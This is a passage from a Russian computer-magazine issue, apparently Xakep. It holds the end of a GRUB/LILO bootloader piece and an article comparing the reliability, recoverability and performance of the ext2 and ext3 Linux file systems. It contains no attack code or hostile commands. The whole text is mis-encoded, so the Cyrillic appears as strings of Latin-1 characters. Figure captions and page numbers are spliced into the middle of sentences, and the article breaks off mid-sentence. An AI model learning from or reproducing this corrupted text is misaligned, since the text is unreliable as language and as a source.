3 Ïîëíàÿ èíòåðíàöèîíàëèçàöèÿ è ëîêàëèçàöèÿ. 4 Ìíîãî÷èñëåííûå âíóòðåííèå íîâîââåäåíèÿ, íàïðàâëåííûå íà ïîâûøåíèå ïîðòèðóåìîñòè è ðàñøèðÿåìîñòè. BINARY YOUR’S z

ïûòàåìñÿ ïîëó÷èòü äîñòóï ê ñêðûòîìó ìåíþ

ÑÒÀÐÈ×ÎÊ LILO Íå çàáóäåì óïîìÿíóòü è î ñòàðîì äîáðîì LiLo, êîòîðûé ñëóæèë íàì âåðîé è ïðàâäîé ìíîãèå ãîäû. Íåò ñìûñëà ïîäðîáíî îñòàíàâëèâàòüñÿ íà ýòîì âîïðîñå, òàê êàê âñå óæå îïèñàíî, ñïèñàíî è ïåðåïèñàíî â ñàìûõ ðàçíûõ èçäàíèÿõ. Ïðîñòî ðàññìîòðèì íåáîëüøîé ïðèìåð íàñòðîéêè.

XÀÊÅÐ 02 /86/ 06

GRUB îêàçàëñÿ íàñòîëüêî õîðîø, ÷òî åãî âçÿëà íà âîîðóæåíèå Sun Microsystems äëÿ ñâîåãî OpenSolaris. Ñïåöèàëüíî äëÿ GRUB ýíòóçèàñòû íàïèñàëè ïðîñòåíüêóþ èãðó Invanders (www.erikyyy.de/invaders/)

Ñ äðóãèìè âîçìîæíîñòÿìè GRUB, à òàêæå ïëàíàìè íà GRUB 2 ìîæíî îçíàêîìèòüñÿ, ïîñåòèâ îôèöèàëüíóþ ñòðàíè÷êó: www.gnu.org/software/gr ub/grub.en.html.

107


UNIXOID UNIXOID ///// ISSUE

TEXT ÊÐÈÑ ÊÀÑÏÅÐÑÊÈ ÀÊÀ ÌÛÙÚÕ / /

ÂÎÉÍÀ ÌÈÐÎÂ: EXT2 VS EXT3 ÂÇÃËßÄ ÍÀ ÔÀÉËÎÂÛÅ ÑÈÑÒÅÌÛ LINUX ÏÎÄ ÍÅÎÁÛ×ÍÛÌ ÓÃËÎÌ

Î ÏÐÅÈÌÓÙÅÑÒÂÀÕ È ÍÅÄÎÑÒÀÒÊÀÕ ÔÀÉËÎÂÎÉ ÑÈÑÒÅÌÛ EXT3 ÍÀÏÈÑÀÍÎ ÌÍÎÃÎ. ÏÎ ÎÁÙÅÌÓ ÌÍÅÍÈÞ, ÎÍÀ ÎÁÅÑÏÅ×ÈÂÀÅÒ ËÓ×ØÓÞ ÍÀÄÅÆÍÎÑÒÜ ÇÀ Ñ×ÅÒ ÑÍÈÆÅÍÈß ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑÒÈ. ÎÄÍÀÊÎ ÄÀËÅÊÎ ÍÅ ÂÑÅÃÄÀ EXT3 ÎÒÑÒÀÅÒ ÎÒ EXT2, È Â ÍÅÊÎÒÎÐÛÕ ÑËÓ×ÀßÕ ÄÀÆÅ ÅÅ ÎÁÃÎÍßÅÒ, ÏÐÈ×ÅÌ ÇÍÀ×ÈÒÅËÜÍÎ

ÂÂÅÄÅÍÈÅ Èñòèííûé ñìûñë íå â òåñòàõ, íå â ãðàôèêàõ è íå äèàãðàììàõ, à â èõ ôèçè÷åñêîé èíòåðïðåòàöèè. Ïîñòàíîâêà ýêñïåðèìåíòà — ýòî æå íå ïðîñòî òàê! ×òîáû ïîëó÷èòü äîñòîâåðíûå, âîñïðîèçâîäèìûå è îáúåêòèâíûå ðåçóëüòàòû, íåîáõîäèìî çíàòü, êàê óñòðîåíà ôàéëîâàÿ ñèñòåìà è êàêèå øåñòåðåíêè ïðèâîäÿò åå â äâèæåíèå. Âñåãäà ìîæíî ïîäîáðàòü òàêîé íàáîð òåñòîâ, íà êîòîðîì «õîðîøàÿ» ôàéëîâàÿ ñèñòåìà áóäåò áûñòðåå «ïëîõîé», à âñåõ íåñîãëàñíûõ îáîçâàòü ëàìåðàìè, íè÷åãî íå ñìûñëÿùèìè â òîíêèõ ýôôåêòàõ ìíîãîçàäà÷íîé îïåðàöèîííîé ñèñòåìû, ìíîãîóðîâíåâîãî êýøà è ò.ä. Ïîïðîáóåì ñðàâíèòü ôàéëîâûå ñèñòåìû ñðàçó ïî íåñêîëüêèì êðèòåðèÿì: íàäåæíîñòè, îòêàçîóñòîé÷èâîñòè, ïðîèçâîäèòåëüíîñòè è ò.ä., ÷òîáû êàæäûé ñìîã âûáðàòü íóæíóþ. Âîò ñ íàäåæíîñòè ìû, ïîæàëóé, è íà÷íåì. ÊÎÃÄÀ ÄÀÍÍÛÅ ÎÁÐÀÙÀÞÒÑß Â ÏÐÀÕ Ôàéëîâûå ñèñòåìû ext2 è ext3 î÷åíü ïîõîæè. ext3 — ýòî ext2 ñ ïîääåðæêîé æóðíàëèðîâàíèÿ, òî åñòü òðàíçàêöèåé. Òðàíçàêöèÿìè íàçûâàþò ãðóïïîâûå îïåðàöèè, âûïîëíÿåìûå èëè íåâûïîëíÿåìû�� êàê îäíà åäèíàÿ îïåðàöèÿ. Äðóãèìè ñëîâàìè, àòîìàðíî. Ïîÿñíèì ýòî íà êëàññè÷åñêîì ïðèìåðå ïåðåâîäà äåíåã èç áàíêà À â áàíê Á. Íà íèçêîì óðîâíå ýòà îïåðàöèÿ ðàçáèâàåòñÿ íà äâå: ñíÿòèå äåíåã ñî ñ÷åòà è ïåðåâîä. À åñëè âî âðåìÿ ïåðåâîäà ïðîèçîéäåò ñáîé, è âûïîëíåíèå ïðîãðàììû ïðåðâåòñÿ? ×òîáû íå îñòàâèòü êëèåíòà áåç äåíåã, íåîáõîäèìî ïðåäóñìîòðåòü àâòîìàòè÷åñêèé «îòêàò». Ïåðåâîä ëèáî âûïîëíÿåòñÿ, ëèáî íåò. Ïðîìåæóòî÷íûå ñîñòîÿíèÿ íåäîïóñòèìû.

108

Âåðíåìñÿ ê ôàéëîâûì ñèñòåìàì. Ïî÷åìó â FAT16/32 ïîñòîÿííî îáðàçóþòñÿ ïîòåðÿííûå êëàñòåðû? Äà ïîòîìó, ÷òî îíà íå ïîääåðæèâàåò òðàíçàêöèé, è ìíîãîñòàäèéíûå îïåðàöèè âûïîëíÿþòñÿ íå àòîìàðíî! Âîò, íàïðèìåð, êîïèðîâàíèå ôàéëà. Ñèñòåìà âûäåëèëà äèñêîâîå ïðîñòðàíñòâî è òîëüêî ñîáèðàëàñü ïåðåäàòü åãî ôàéëó, êàê âñå ïîâèñëî (âàðèàíòû: ìîíòåð ïåðåðåçàë ïðîâîäà, þçåð íàæàë íà RESET), è îäèí èëè íåñêîëüêî êëàñòåðîâ îñòàëèñü íè÷åéíûìè. Æóðíàëèðóåìûå ôàéëîâûå ñèñòåìû (ext3, NTFS) â òàêèõ ñëó÷àÿõ äåëàþò àâòîìàòè÷åñêèé «îòêàò» ïðè ñëåäóþùåé çàãðóçêå, è ïîòåðè êëàñòåðîâ íå ïðîèñõîäèò. Ñîçäàíèå/óäàëåíèå/ïåðåèìåíîâàíèå ôàéëà — ýòî àòîìàðíûå îïåðàöèè, êîòîðûå íå ìîãóò äîïóñòèòü ïðîìåæóòî÷íûõ ñîñòîÿíèé. À âîò ñ îïåðàöèÿìè ïåðåìåùåíèÿ âñå íàìíîãî ñëîæíåå. Ôàéëîâàÿ ñèñòåìà íå ïîçâîëÿåò ïåðåìåùàòü ôàéë ìåæäó òîìàìè, âûíóæäàÿ ïðîãðàììó-îáîëî÷êó äåëàòü ýòî ñàìîñòîÿòåëüíî.  ðåçóëüòàòå îïåðàöèÿ ïåðåíîñà ðàçáèâàåòñÿ íà äâå: êîïèðîâàíèå ôàéëà-èñòî÷íèêà â ôàéë-ïðèåìíèê è óäàëåíèå èñòî÷íèêà. Ïðè ýòîì ìîæåò âîçíèêíóòü òàêàÿ íåõîðîøàÿ ñèòóàöèÿ, êîãäà ôàéë-ïðèåìíèê íå áûë çàïèñàí íà äèñê (ñèñòåìà íå óñïåëà ñáðîñèòü êýø, íàïðèìåð), íî èñòî÷íèê óæå áûë óäàëåí. Âîò òàêèå îíè òðàíçàêöèè. Ê òîìó æå ïîääåðæêà òðàíçàêöèé íå ìîæåò çàñòðàõîâàòü îò ïîòåðè çàïèñûâàåìûõ äàí-

íûõ, ïîñêîëüêó ôàéë æóðíàëà îáíîâëÿåòñÿ íå ìãíîâåííî, à ñ íåêîòîðîé çàäåðæêîé. Òðàíçàêöèè áåññèëüíû ïðîòèâîñòîÿòü ôèçè÷åñêèì äåôåêòàì ïîâåðõíîñòè, íåêîððåêòíî ðàáîòàþùåìó ïðîãðàììíîìó îáåñïå÷åíèþ è ò.ä. Ìíîãèå ñðàâíèâàþò ext2 ñ FAT, à ext3 ñ NTFS, íî ýòî íåâåðíî. Ïî ñâîåé àðõèòåêòóðå ext2 ãîðàçäî áëèæå ê NTFS, ÷åì ê FAT. Ãðóáî ãîâîðÿ, ext2 — ýòî NTFS áåç òðàíçàêöèé. Çà ñ÷åò âûñîêîé ñòåïåíè èçáûòî÷íîñòè (áîëüøîãî êîëè÷åñòâà äóáëèðóþùèõ äðóã äðóãà ñòðóêòóð), ext2 âåñüìà ñòîéêî ïåðåíîñèò ñáîè, è ïîýòîìó çà åå öåëîñòíîñòü ìîæíî îñîáî íå âîëíîâàòüñÿ. Ïîñëå âíåçàïíîãî âûêëþ÷åíèÿ ïèòàíèÿ îíà íå óïàäåò. Ïîääåðæêà òðàíçàêöèé â ext3 óâåëè÷èâàåò íàäåæíîñòü õðàíåíèÿ äàííûõ, íî íå ñòîëü ðàäèêàëüíî, êàê íåêîòîðûå ïûòàþòñÿ äîêàçàòü. Ïðè âûáîðå ðåæèìà «æóðíàëèðîâàòü òîëüêî ìåòàäàííûå» (data=writeback) âñå îòêðûòûå íà çàïèñü äàííûå â ìîìåíò èñ÷åçíîâåíèÿ ïèòàíèÿ ìîãóò îáíóëÿòüñÿ èëè çàïîëíÿòüñÿ ìóñîðîì.  ðåæèìå «æóðíàëèðîâàòü âñå» (data=journal) âñå äàííûå ñíà÷àëà ïèøóòñÿ â æóðíàë è òîëüêî çàòåì ïåðåíîñÿòñÿ â ôàéë. Ýòî çíà÷èòåëüíî ñíèæàåò ïðîèçâîäèòåëüíîñòü, íî çàòî ãàðàíòèðóåò íåïðîòèâîðå÷èâîñòü ñîñòîÿíèÿ äàííûõ è ìåòàäàííûõ: ôàéë ëèáî çàïèñûâàåòñÿ ïîëíîñòüþ, ëèáî íå çàïèñûâàåòñÿ âîîáùå. Òî åñòü ïîòåðÿ èíôîðìàöèè ïðè âíåçàïíîì èñ÷åçíîâåíèè ïèòàíèÿ èëè ïåðåçàãðóçêå âñå-òàêè âîçìîæíà.

XÀÊÅÐ 02 /86/ 06


ÆÓÐÍÀËÈÐÎÂÀÍÈÅ ÑÚÅÄÀÅÒ Â ÐÅÌß È ÎÙÓÒÈÌÎ À âîò âîññòàíàâëèâàòü äàííûå íà ext3 çíà÷èòåëüíî òðóäíåå, ÷åì íà ext2, ïîñêîëüêó ïåðåä óäàëåíèåì ôàéëà ñïèñîê ïðèíàäëåæàùèõ åìó áëîêîâ òùàòåëüíî âû÷èùàåòñÿ, è undelete ñäåëàòü óæå íåâîçìîæíî. Ïðè÷åì ýòî íå áàã, à «òàê çàäóìàíî». Íà ïîðòàëå www.opennet.ru ëåæèò FAQ ïî ôàéëîâîé ñèñòåìå ext3 (www.opennet.ru/base/faq/ext3_faq. txt.html), êîòîðîå ñî ññûëêîé íà Andreas Dilger’à (îäíîãî èç ðàçðàáîò÷èêîâ) ãîâîðèò ñëåäóþùåå: «Ïîñëå ïàäåíèÿ äëÿ ïðîâåðêè âîçìîæíîñòè áåçîïàñíîãî ïðîäîëæåíèÿ ðàçëèíêîâêè (unlink) ôàéëîâàÿ ñèñòåìà ext3 îáíóëÿåò óêàçàòåëè íà áëîêè â inode’àõ, à ext2 ïðîñòî ïîìå÷àåò ýòè áëîêè êàê íåèñïîëüçóåìûå, inode’û — êàê óäàëåííûå, îñòàâëÿÿ óêàçàòåëè íåòðîíóòûìè. Åäèíñòâåííîå, ÷òî âàì îñòàåòñÿ äåëàòü — âûçâàòü grep äëÿ íàõîæäåíèÿ ÷àñòåé óäàëåííûõ ôàéëîâ è íàäåÿòüñÿ íà ëó÷øåå». Íî âñå íå òàê áåçíàäåæíî. Äà, óêàçàòåëè íà DIRECT áëîêè ãèáíóò áåçâîçâðàòíî, îäíàêî ñîäåðæèìîå áëîêîì êîñâåííîé àäðåñàöèè îñòàåòñÿ íåòðîíóòûì, è õâîñò ôàéëà âîññòàíàâëèâàåòñÿ ýëåìåíòàðíî. Ñîáèðàòü ïî êóñêàì ïðèõîäèòñÿ òîëüêî åãî íà÷àëî. Ïîäðîáíåå îá ýòîì ìîæíî ïðî÷èòàòü â ìîåé êíèãå «Òåõíèêà âîññòàíîâëåíèÿ äàííûõ» (íàçâàíèå ðàáî÷åå), êîòîðàÿ âûéäåò â áëèæàéøåå âðåìÿ, íó à ïîêà äîñòóïíà òîëüêî «îáëåã÷åííàÿ» âåðñèÿ, æèâóùàÿ íà ìûùúõèíîì ftp. Äðóãàÿ ñåðüåçíàÿ ïðîáëåìà — öåëîñòíîñòü æóðíàëà è àãðåññèâíûé õàðàêòåð fsck, íåàäåêâàòíûì îáðàçîì ðåàãèðóþùèé íà íåêîòîðûå âèäû ïîâðåæäåíèé.  ïîñëåäíåå âðåìÿ ïîÿâèëîñü ìíîæåñòâî ñîîáùåíèé î íåêà÷åñòâåííûõ SATA-êîíòðîëëåðàõ, ïðèâîäÿùèõ ê ðàçëè÷íûì ñáîÿì, çàòðàãèâàþùèì æóðíàë è ìåòàäàííûå. Îñíîâíàÿ ñòðóêòóðà òîìà îñòàåòñÿ ïðàêòè÷åñêè íåïîâðåæäåííîé (òàê, ìàëåíüêàÿ òðåùèíêà), è ðó÷íûì âîññòàíîâëåíèåì åãî åùå ìîæíî ñïàñòè, íî çàïóñê fsck ãðîõàåò ðàçäåë îêîí÷àòåëüíî, ïðè÷åì ext3 ñòðàäàåò íàìíîãî ñèëüíåå, ÷åì ext2. Âåðîÿòíî, òàê ïðîèñõîäèò ïîòîìó, ÷òî â æóðíàëå îêàçûâàåòñÿ ìóñîð, à fsck ïûòàåòñÿ åãî èíòåðïðåòèðîâàòü «ïðàâèëüíûì» îáðàçîì, âîò è... Êîíå÷íî, ïîêëîííèêè ext3 ìîãóò ñêàçàòü, ÷òî íå÷åãî åå ãîíÿòü íà êðèâîì æåëåçå, íóæíî êóïèòü ñåáå íîðìàëüíûé SCSI-êîíòðîëëåð è îòêàçàòüñÿ îò ÀÒÀ. Âñå ýòî âåðíî è ñîâåðøåííî ïðàâèëüíî, íî âñå-òàêè îò ñáîåâ æåëåçà íèêòî íå çàñòðàõîâàí, ïîýòîìó ïðè «îáêàòêå» íîâîãî îáîðóäîâàíèÿ âñåòàêè ëó÷øå èñïîëüçîâàòü ext2 è òîëüêî çàòåì ïåðåõîäèòü íà ext3. Ê òîìó æå ïðåæäå ÷åì ïîçâîëÿòü fsck ëå÷èòü äèñê, íàñòîÿòåëüíî ðåêîìåíäóåòñÿ çàïóñòèòü äèñêîâûé ðåäàêòîð lde (ñîêðàùåíèå îò Linux Disk Editor) è ïîñìîòðåòü, ÷òî èìåííî ñëó÷èëîñü ñ äàííûìè. Áûòü ìîæåò, ïðîùå âñå âîññòàíîâèòü âðó÷íóþ? Îïèñàíèå ïðèåìîâ ðàáîòû ñ lde ìîæíî íàéòè â çàíà÷êàõ ìûùúõ’à, ëåæàùèõ ïî àäðåñó: kpnc.opennet.ru/recover.zip. Òàê ÷òî âîïðîñ íàäåæíîñòè îñòàåòñÿ îòêðûòûì, è âî ìíîãèõ ñëó÷àÿõ ext2 âñå-òàêè îêàçûâàåòñÿ áîëåå ïðåäïî÷òèòåëüíîé. ÂÎÏÐÎÑÛ ÁÛÑÒÐÎÄÅÉÑÒÂÈß, ÈËÈ ×ÅÐÅÏÀÕÀ ÏÐÈÕÎÄÈÒ ÏÅÐÂÎÉ Ñ÷èòàåòñÿ, ÷òî â îáùåì ñëó÷àå æóðíàëèðóåìûå ôàéëîâûå ñèñòåìû ïðîèãðûâàþò «îáû÷íûì» â ïðîèçâîäèòåëüíîñòè, îäíàêî «îáùèé ñëó÷àé» — ïîíÿòèå ðàñòÿæèìîå. Ðåçóëüòàòû òåñòîâ âàðüèðóþòñÿ â î÷åíü øèðîêèõ ïðåäåëàõ, è áåç ëîãèêè èñòèíó çäåñü äîâîëüíî ñëîæíî íàéòè. Èñõîäÿ èç ñàìûõ îáùèõ ñîîáðàæåíèé, íà îïåðàöèÿõ ÷òåíèÿ îáå ôàéëîâûå ñèñòåìû äîëæíû îáåñïå÷èòü èäåíòè÷íûé óðîâåíü ïðîèçâîäèòåëüíîñòè, ïîñêîëüêó ïðè ÷òåíèè äàííûõ íèêàêîãî îáðàùåíèÿ ê æóðíàëó íå ïðîèñõîäèò.  ïåðâîì ïðèáëèæåíèè ýòî äåéñòâèòåëüíî òàê, â ÷åì íàñ óáåæäàþò äàííûå íåçàâèñèìûõ òåñòåðîâ, ðàáîòàþùèõ íà îäíîäèñêîâûõ äåñêòîïàõ (íàïðèìåð, staff.osuosl.org/~kveïðîèçâîäèòåëüíîñòü ñåðâåðà ton/fs/page2.php). Îòñþäà âûâîä: Adaptec DuraStor 6220SS åñëè îïåðàöèè ÷òåíèÿ äîìèíèðóíà îïåðàöèÿõ çàïèñè/÷òåíèÿ þò íàä îïåðàöèÿìè çàïèñè, òî ðàçíà ext2 íèöà â ïðîèçâîäèòåëüíîñòè ìåæäó

XÀÊÅÐ 02 /86/ 06

ÑÍÈÆÀÅÒ ÏÐÎÈÇÂÎÄÈÒÅËÜÍÎÑ ÒÜ

ðåçóëüòàòû òåñòà AS3AP, èìèòèðóþùåãî ðàáîòó ñ áàçîé äàííûõ

ext2 è ext3 ñòàíîâèòñÿ ïðàêòè÷åñêè íåçàìåòíîé, à íà äèñêàõ, ñìîíòèðîâàííûõ «òîëüêî íà ÷òåíèå», — è âîâñå ðàâíîé íóëþ. Íà äîìàøíèõ êîìïüþòåðàõ ýòî äåéñòâèòåëüíî òàê. Íà ñåðâåðàõ è ìîùíûõ ðàáî÷èõ ñòàíöèÿõ ñèòóàöèÿ ñîâñåì èíàÿ. Òàì ñòîÿò öåëûå ìàññèâû äèñêîâ, îäèí èç êîòîðûõ âûäåëÿåòñÿ äëÿ õðàíåíèÿ æóðíàëà. Ýòîò òðþê çíà÷èòåëüíî óâåëè÷èâàåò ïðîèçâîäèòåëüíîñòü ïðè çàïèñè, íî ñíèæàåò ýôôåêòèâíóþ ïðîïóñêíóþ ñïîñîáíîñòü íà îïåðàöèÿõ ÷òåíèÿ, ïîñêîëüêó îäèí èç äèñêîâ ìàññèâà îñòàåòñÿ íåçàäåéñòâîâàííûì. Âçãëÿíè íà ðåçóëüòàòû òåñòèðîâàíèÿ ñåðâåðà Adaptec DuraStor 6220SS (ñ RAID 5), ïðèâåäåííûå â ñòàòüå Journaling on RAID (linuxgazette.net/102/piszcz.html). Íà äàííîé àïïàðàòíîé êîíôèãóðàöèè ext3 ñ îäíèì ïîòîêîì äàííûõ ÷èòàåò ÷óòü ëè íå â äâà ðàçà ìåäëåííåå! Íà 16 ïîòîêàõ ðàçðûâ íåìíîãî ñãëàæèâàåòñÿ, íî âñå ðàâíî îñòàåòñÿ äîâîëüíî çíà÷èòåëüíûì. Âûâîä: åñëè îïåðàöèè ÷òåíèÿ äîìèíèðóþò íàä îïèñàíèÿìè çàïèñè, òî íà ñåðâåðàõ ext2 ðóëèò îäíîçíà÷íî, òåì áîëåå ÷òî ðèñê ïîòåðè äàííûõ â ýòîì ñëó÷àå ðàâåí íóëþ, âåäü çàïèñü íà äèñê íå ïðîèçâîäèòñÿ! Êñòàòè, î çàïèñè. Ñ çàïèñüþ äåëà îáñòîÿò íàìíîãî õóæå. Èñõîäÿ èç ñàìûõ îáùèõ ðàññóæäåíèé, æóðíàëèðîâàíèå ñúåäàåò âðåìÿ è îùóòèìî ñíèæàåò ïðîèçâîäèòåëüíîñòü, ÷òî ïîäòâåðæäàåòñÿ âñåìè íåçàâèñèìûìè òåñòåðàìè. Çàïèñü íà ext3 îòñòàåò îò ext2 ïðèáëèçèòåëüíî íà 50%, à îïåðàöèè óäàëåíèÿ áîëüøîãî êîëè÷åñòâà îáúåêòîâ (ôàéëîâ, äèðåêòîðèé) íà ext3 òîðìîçÿò â äåñÿòêè ðàç! Íà îñíîâàíèè ÷åãî äåëàåòñÿ âïîëíå î÷åâèäíûé âûâîä: ext3 — äîâîëüíî ìåäëåííàÿ ôàéëîâàÿ ñèñòåìà, îïðàâäûâàþùàÿ ñâîå ñóùåñòâîâàíèå òîëüêî ïîâûøåííûì óðîâíåì íàäåæíîñòè. Ýòî óòâåðæäåíèå íåâåðíî. Çàïèñü â æóðíàë ìîæåò ïðîèñõîäèòü îäíîâðåìåííî ñ îáíîâëåíèåì äàííûõ/ìåòàäàííûõ, òîëüêî ðàñïîëîæèòü èõ íàäî íà ðàçëè÷íûõ æåñòêèõ äèñêàõ. ×èñòî èíòóèòèâíî ýòî äîëæíî âïëîòíóþ ïðèáëèçèòü ext3 ê ext2.  òàêèõ óñëîâèÿõ ext3 ìîæåò îêàçàòüñÿ... áûñòðåå, ïðè÷åì çíà÷èòåëüíî áûñòðåå! Âåðíåìñÿ ê ðèñóíêó ñ ñåðâåðîì Adaptec DuraStor 6220SS, êîòîðûé ïèøåò íà ext3 ñ îäíèì ïîòîêîì â òðè ðàçà áûñòðåå, ÷åì íà ext2! Íà 16 ïîòîêàõ ðàçðûâ, åñòåñòâåííî, ïðîèçâîäèòåëüíîñòü ñåðâåðà ñîêðàùàåòñÿ, íî ext3 ïî-ïðåæAdaptec DuraStor 6220SS íåìó îñòàåòñÿ âïåðåäè. Âûõîíà îïåðàöèÿõ çàïèñè/÷òåíèÿ äèò, ÷òî ñ òî÷êè çðåíèÿ ïðîèçâîíà ext3 äèòåëüíîñòè, íà ñåðâåðàõ è

109


UNIXOID ///// ISSUE

ÂÑÅÃÄÀ ÏÐÈÑËÓØÈÂÀÉÑß Ê Ñ ÎÂÅÒÀÌ ÏÐÎÈÇÂÎÄÈÒÅËÅÉ Î ÁÎÐÓÄÎÂÀÍÈß È ÑÎÇÄÀÒÅËÅÉ ÏÐÎÃÐÀÌÌ. ÊÀÊ ÏÐÀ ÂÈËÎ, ÂÑÅ ÍÅÎÁÕÎÄÈÌÛÅ ÒÅÑ ÒÛ ÎÍÈ ÓÆÅ ÏÐÎÂÅËÈ ÈËÈ ÄÀÆÅ ÇÀÎÏÒÈÌÈÇÈÐ ÎÂÀËÈ ÑÂÎÉ ÏÐÎÄÓÊÒ ÏÎÄ Î ÏÐ ÅÄÅËÅÍÍÓÞ ÔÀÉËÎÂÓÞ ÑÈÑÒÅÌÓ Ñ ÊÎÍÊÐÅÒÍÛÌ È ÍÀÑÒÐÎÉÊÀÌÈ..

êàêîì ïîñëåäîâàòåëüíîì ÷òåíèè íå ïðèõîäèòñÿ è ãîâîðèòü! À õîðîøèõ äåôðàãìåíòàòîðîâ, êîòîðûå ìîæíî áûëî áû ïîðåêîìåíäîâàòü, ïîä ext2/ext3 íåò.  ýòîì ñìûñëå ext2 ïðåäïî÷òèòåëüíåå, ÷åì ext3, ïîñêîëüêó æóðíàë ïîñëåäíåé çà÷àñòóþ îêàçûâàåòñÿ ñèëüíî ôðàãìåíòèðîâàí, ÷òî, ó÷èòûâàÿ èíòåíñèâíîñòü åãî èñïîëüçîâàíèÿ, ïðèâîäèò ê çíà÷èòåëüíûì òîðìîçàì.

ðåçóëüòàòû òåñòà TPC-C, èìèòèðóþùåãî ðàáîòó ñ áàçîé äàííûõ

ìîùíûõ ðàáî÷èõ ñòàíöèÿõ, îðèåíòèðîâàííûõ íà çàïèñü, âûãîäíåå äåðæàòü ext3, à read-only òîìà âñåãäà ðàçìå÷àòü ïîä ext2? Äîâîëüíî íåîæèäàííûé äëÿ íåêîòîðûõ àäìèíèñòðàòîðîâ õîä. Äà ìîæåò ýòîò Adaptec DuraStor 6220SS ñïåöèàëüíî çàòî÷åí ïîä ext3, à ðåçóëüòàòû ýêñïåðèìåíòà ôàëüñèôèöèðîâàíû? Õîðîøî. Äàâàé îáðàòèìñÿ ê áàçàì äàííûõ. Âîçüìåì, íàïðèìåð, Oracle è ïîñìîòðèì, íà êàêèå ôàéëîâûå ñèñòåìû åãî ðåêîìåíäóåòñÿ ñòàâèòü. Íà ñàéòå êîìïàíèè (www.oracle.com/technology/oramag/webcolumns/2002/techarticles/scalzo_linux02.htm) ïðèâîäÿòñÿ êðàéíå èíòåðåñíûå ðåçóëüòàòû, êîòîðûì ìîæíî âåðèòü, ïîñêîëüêó çàíèìàòüñÿ ïðîïàãàíäîé ext3 Oracl’ó — íå ðåçîí. Ìû âèäèì (ñì. ðèñóíêè), ÷òî íà âñåõ îïåðàöèÿõ, êîòîðûå òîëüêî ìîæíî âûïîëíèòü íàä áàçîé, ext3 îáåñïå÷èâàåò âäâîå áîëüøóþ ïðîèçâîäèòåëüíîñòü. Êàê æå òàêîå ìîæåò áûòü?! Íåóæåëè íàëè÷èå æóðíàëà óâåëè÷èâàåò áûñòðîäåéñòâèå? Æóðíàë òóò ñîâñåì íè ïðè ÷åì, è áûñòðîäåéñòâèå îí òîëüêî ñúåäàåò. Ïðîñòî â ext3 ñëåãêà äîðàáîòàí ìåõàíèçì êýøèðîâàíèÿ è âíåñåí ðÿä äðóãèõ èçìåíåíèé, î êîòîðûõ óìàë÷èâàåò äîêóìåíòàöèÿ, íî çàòî ðåçóëüòàò íà ëèöî. Àíàëîãè÷íûì îáðàçîì äåëà îáñòîÿò ñ MySQL è PostgreSQL, îäíàêî ìíå íå óäàëîñü íàéòè «îôèöèàëüíûõ» ðåçóëüòàòîâ òåñòîâ, à ïðîòåñòèðîâàòü áàçó äàííûõ â äîìàøíèõ óñëîâèÿõ äîâîëüíî çàòðóäíèòåëüíî. ÐÀÇ — ÔÐÀÃÌÅÍÒ, ÄÂÀ — ÔÐÀÃÌÅÍÒ Ñðàâíèâàòü ïðîèçâîäèòåëüíîñòü ôàéëîâûõ ñèñòåì ìîæíî òîëüêî ïðè èäåíòè÷íûõ óñëîâèÿõ, â ÷àñòíîñòè, îäèíàêîâîì óðîâíå ôðàãìåíòàöèè. Êîëëåêòèâ ÿïîíñêîãî àãåíòñòâà IPA (Information-Technology Promotion Agency) âûïóñòèë ñïåöèàëüíóþ óòèëèòó davtools (davtools.sf.net), âèçóàëèçèðóþùóþ ñîñòîÿíèå äèñêà òàê æå, êàê ýòî äåëàë äðåâíèé Norton Speed Disk. Âûÿñíèëîñü, ÷òî ext2/ext3 ðàçäåëû äîâîëüíî ñèëüíî ôðàãìåíòèðóþòñÿ ñ òå÷åíèåì âðåìåíè (ñì. ðèñóíêè), ÷òî îïðîâåðãàåò òåçèñ î ñîâåðøåíñòâå ext2/ext3 è åå íåçàâèñèìîñòè îò ôðàãìåíòàöèè. Ôðàãìåíòàöèè ïîäâëàñòíû âñå (èñêëþ÷àÿ, åñòåñòâåííî, òå ñèñòåìû, ÷òî ïîääåðæèâàþò ôîíîâóþ äåôðàãìåíòàöèþ, êàê ýòî ñäåëàíî, íàïðèìåð, â UFS). Íåêîòîðûå «ñïåöèàëèñòû» óòâåðæäàþò, ÷òî â Linux’å ôðàãìåíòàöèÿ âëèÿåò íà ïðîèçâîäèòåëüíîñòü áîëåå ñëîæíûì îáðàçîì. Äîïóñòèì, äâà ôàéëà ÷èòàþòñÿ îäíîâðåìåííî.  îòñóòñòâèè ôðàãìåíòàöèè ãîëîâêå ïðèäåòñÿ ñîâåðøàòü ïîïåðåìåííûå áðîñêè, ìîòàÿñü ìåæäó äâóìÿ ôàéëàìè, ÷òî áóäåò íåõîðîøî. Åñëè æå ðàçáèòü ôàéëû íà áëîêè, ÷åðåäóþùèåñÿ äðóã çà äðóãîì, òî äâèæåíèÿ ãîëîâêè ïðèìóò õàðàêòåð ïðÿìîëèíåéíîé ïîñëåäîâàòåëüíîñòè, è, íåñìîòðÿ íà ñèëüíóþ ôðàãìåíòàöèþ, ñêîðîñòü ÷òåíèÿ çíà÷èòåëüíî âîçðàñòåò. Åñòåñòâåííî, ôðàãìåíòàöèÿ áûâàåò ðàçíîé, îäíàêî íàèâíî äóìàòü, ÷òî îïòèìàëüíàÿ «ðàñêëàäêà» îáðàçóåòñÿ åñòåñòâåííûì ïóòåì.  óñëîâèÿõ «äèêîé ïðèðîäû» ñèñòåìà ðàñêèäûâàåò ôàéëû ïî âñåìó îïåðàòèâíîìó ïåðèìåòðó, è ãîëîâêå ïðèõîäèòñÿ ñîâåðøàòü î÷åíü áîëüøèå ïîïîëçíîâåíèÿ, ÷òîáû ñîáðàòü èõ âîåäèíî. Íè î

110

ÇÀÊËÞ×ÅÍÈÅ Âûáîð îïòèìàëüíîé ôàéëîâîé ñèñòåìû — î÷åíü ñëîæíàÿ è íåî÷åâèäíàÿ çàäà÷à. Òåîðèÿ íå âñåãäà ñîîòâåòñòâóåò ïðàêòèêå, è ïðèõîäèòñÿ áûòü ãîòîâûì êî âñÿ÷åñêèì íåîæèäàííîñòÿì. Âñåãäà ïðèñëóøèâàéñÿ ê ñîâåòàì ïðîèçâîäèòåëåé îáîðóäîâàíèÿ è ñîçäàòåëåé ïðîãðàìì. Êàê ïðàâèëî, âñå íåîáõîäèìûå òåñòû îíè óæå ïðîâåëè èëè äàæå çàîïòèìèçèðîâàëè ñâîé ïðîäóêò ïîä îïðåäåëåííóþ ôàéëîâóþ ñèñòåìó ñ êîíêðåòíûìè íàñòðîéêàìè. Óíèâåðñàëüíûõ ñîâåòîâ, ïðèãîäíûõ äëÿ âñåõ, çäåñü, óâû, äàòü íåâîçìîæíî, ïîýòîìó ìû 